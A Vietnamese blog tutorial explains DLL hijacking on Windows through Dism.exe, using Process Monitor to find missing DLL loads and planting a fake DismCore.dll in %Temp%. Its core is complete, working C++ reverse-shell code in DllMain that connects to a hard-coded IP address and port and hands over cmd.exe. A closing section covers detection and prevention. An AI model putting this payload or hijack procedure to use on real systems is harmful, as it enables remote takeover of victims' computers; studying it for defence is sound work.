Cách khai thác lỗ hổng DLL Hijacking trên Windows

DLL Hijacking là một kỹ thuật tấn công phổ biến nhưng lại ít được chú ý trong giới bảo mật. Khi một ứng dụng trên hệ điều hành Windows tìm kiếm và tải các tệp DLL (Dynamic Link Library), kẻ tấn công có thể lợi dụng lỗ hổng này bằng cách thay thế DLL hợp lệ bằng phiên bản độc hại của mình. Hệ điều hành sẽ tải DLL độc hại đó thay vì phiên bản gốc, và điều này có thể dẫn đến những hậu quả nghiêm trọng như việc chiếm quyền điều khiển máy tính từ xa.

1. DLL Hijacking là gì?

DLL Hijacking là một kỹ thuật khai thác lỗ hổng khi một chương trình không kiểm soát chặt chẽ quá trình tải tệp DLL. Khi một ứng dụng, chẳng hạn như Dism.exe (công cụ quản lý hệ thống của Windows), chạy, nó sẽ tìm kiếm các DLL cần thiết trong các thư mục theo thứ tự ưu tiên.

Nếu kẻ tấn công có thể đặt một DLL giả mạo vào thư mục mà chương trình kiểm tra đầu tiên (trước khi tới thư mục chính thống như System32), ứng dụng sẽ “ngây thơ” tải DLL độc hại thay vì DLL hợp lệ. Điều này tạo ra một cơ hội lớn cho các hacker thực hiện các cuộc tấn công tinh vi mà không bị phát hiện ngay lập tức.

2. Tại sao Dism.exe là mục tiêu lý tưởng?

Dism.exe là một công cụ tích hợp trong Windows, nằm trong thư mục C:\Windows\System32, và có vai trò quan trọng trong việc quản lý và bảo trì hệ thống. Vì vậy, Dism.exe là mục tiêu lý tưởng cho các cuộc tấn công DLL Hijacking, bởi sự phổ biến của nó và khả năng thiếu sự kiểm soát chặt chẽ trong việc tải DLL.

3. Hướng dẫn khai thác lỗ hổng DLL Hijacking với Process Monitor

Để khai thác lỗ hổng DLL Hijacking, chúng ta có thể sử dụng công cụ Process Monitor từ Sysinternals. Đây là một công cụ mạnh mẽ giúp theo dõi cách hệ thống tương tác với các tệp DLL.

Bước 1: Chuẩn bị môi trường thử nghiệm

  1. Tải Process Monitor từ trang chính thức của Sysinternals.
  2. Giải nén và chạy file Procmon.exe.
  3. Để an toàn, hãy sử dụng môi trường ảo như VirtualBox hoặc VMware thay vì thử nghiệm trực tiếp trên máy chính
moi-truong-thu-nghiem

Bước 2: Theo dõi hành vi của Dism.exe

  1. Mở Process Monitor.
  2. Để chỉ theo dõi các hoạt động liên quan đến Dism.exe và các tệp DLL, bạn cần thiết lập bộ lọc:
    • Nhấn Ctrl + L hoặc vào Filter > Filter.
    • Thêm điều kiện: Process Name – is – dism.exe – IncludePath – contains – .dll – Include.
    • Nhấn Add rồi OK.

Bước 3: Chạy Dism.exe và quan sát

  1. Mở PowerShell và gõ C:\Windows\System32\dism.exe, nhấn Enter.
  2. Quay lại Process Monitor, bạn sẽ thấy danh sách các DLL mà Dism.exe cố gắng tải.
  3. Nếu kết quả hiển thị “NAME NOT FOUND”, đó là dấu hiệu cho thấy DLL có thể bị khai thác. Đây là cơ hội để bạn thay thế DLL hợp lệ bằng một DLL độc hại.
chukhanhit

Bước 4: Tạo DLL giả mạo

chukhanhit
  1. Sao chép Dism.exe vào thư mục %Temp%.
  2. Tạo một DLL giả mạo như DismCore.dll bằng cách viết mã C++ và biên dịch nó thành một DLL độc hại.
  3. Để làm điều này, bạn có thể sử dụng một payload như reverse shell để lấy quyền điều khiển hệ thống.

Ví dụ mã DismCore.cpp:

#define REVERSEIP "193.161.193.99"  // Địa chỉ IP của máy hacker
#define REVERSEPORT 52543  // Port của máy hacker

#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32")

WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;

STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    WSAStartup(MAKEWORD(2,2), &wsaData);
    Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

    hax.sin_family = AF_INET;
    hax.sin_port = htons(REVERSEPORT);
    hax.sin_addr.s_addr = inet_addr(REVERSEIP);

    WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

    memset(&ini_processo, 0, sizeof(ini_processo));
    ini_processo.cb = sizeof(ini_processo);
    ini_processo.dwFlags = STARTF_USESTDHANDLES;
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
    return TRUE;
}

Biên dịch mã này thành một DismCore.dll và chép vào thư mục %Temp%.

Bước 5: Kiểm tra kết quả

  1. Chạy lại Dism.exe từ thư mục %Temp%.
  2. Nếu tấn công thành công, một kết nối reverse shell sẽ được gửi đến địa chỉ IP và port đã định nghĩa. Kẻ tấn công giờ có thể điều khiển máy tính từ xa.

4. Cách phát hiện và phòng chống DLL Hijacking

Cách phát hiện DLL Hijacking

  1. Sử dụng Process Monitor: Công cụ này giúp theo dõi các hoạt động của hệ thống, tìm kiếm các dòng có ghi “NAME NOT FOUND” khi ứng dụng cố gắng tải DLL từ những thư mục không đáng tin cậy.
  2. Sử dụng DLLSpy: Đây là công cụ chuyên biệt giúp rà soát các tiến trình đang chạy và kiểm tra các thư mục mà ứng dụng tìm kiếm DLL. DLLSpy có thể tự động phát hiện các ứng dụng dễ bị tấn công nếu chúng tìm DLL từ thư mục không an toàn.
  3. Sử dụng Dependency Walker: Công cụ này giúp bạn kiểm tra các DLL mà phần mềm cần sử dụng và phát hiện nếu chúng được tải từ các thư mục không chính thống.

Các biện pháp ngăn ngừa DLL Hijacking

  1. Giới hạn quyền truy cập thư mục: Đảm bảo rằng chỉ các tài khoản quản trị viên mới có quyền ghi vào các thư mục quan trọng như C:\Windows\System32.
  2. Áp dụng đường dẫn cố định trong lập trình: Nếu bạn là nhà phát triển phần mềm, hãy cấu hình ứng dụng để gọi DLL bằng đường dẫn tuyệt đối thay vì để hệ thống tự tìm kiếm.
  3. Bật chế độ SafeDLLSearchMode: Đảm bảo rằng hệ thống ưu tiên tìm DLL từ các thư mục hệ thống trước.
  4. Triển khai công cụ bảo vệ: Sử dụng phần mềm diệt virus hoặc công cụ chống mã độc để phát hiện và ngăn chặn các DLL độc hại.

Kết luận

DLL Hijacking là một kỹ thuật tấn công rất hiệu quả và dễ dàng khai thác trên hệ điều hành Windows nếu không được bảo vệ đúng cách. Để bảo vệ hệ thống, cần phải thực hiện các biện pháp như kiểm soát quyền truy cập vào các thư mục quan trọng, sử dụng đường dẫn cố định khi gọi DLL và áp dụng các công cụ bảo vệ từ các phần mềm bảo mật.

Shares:
Leave a Reply

Your email address will not be published. Required fields are marked *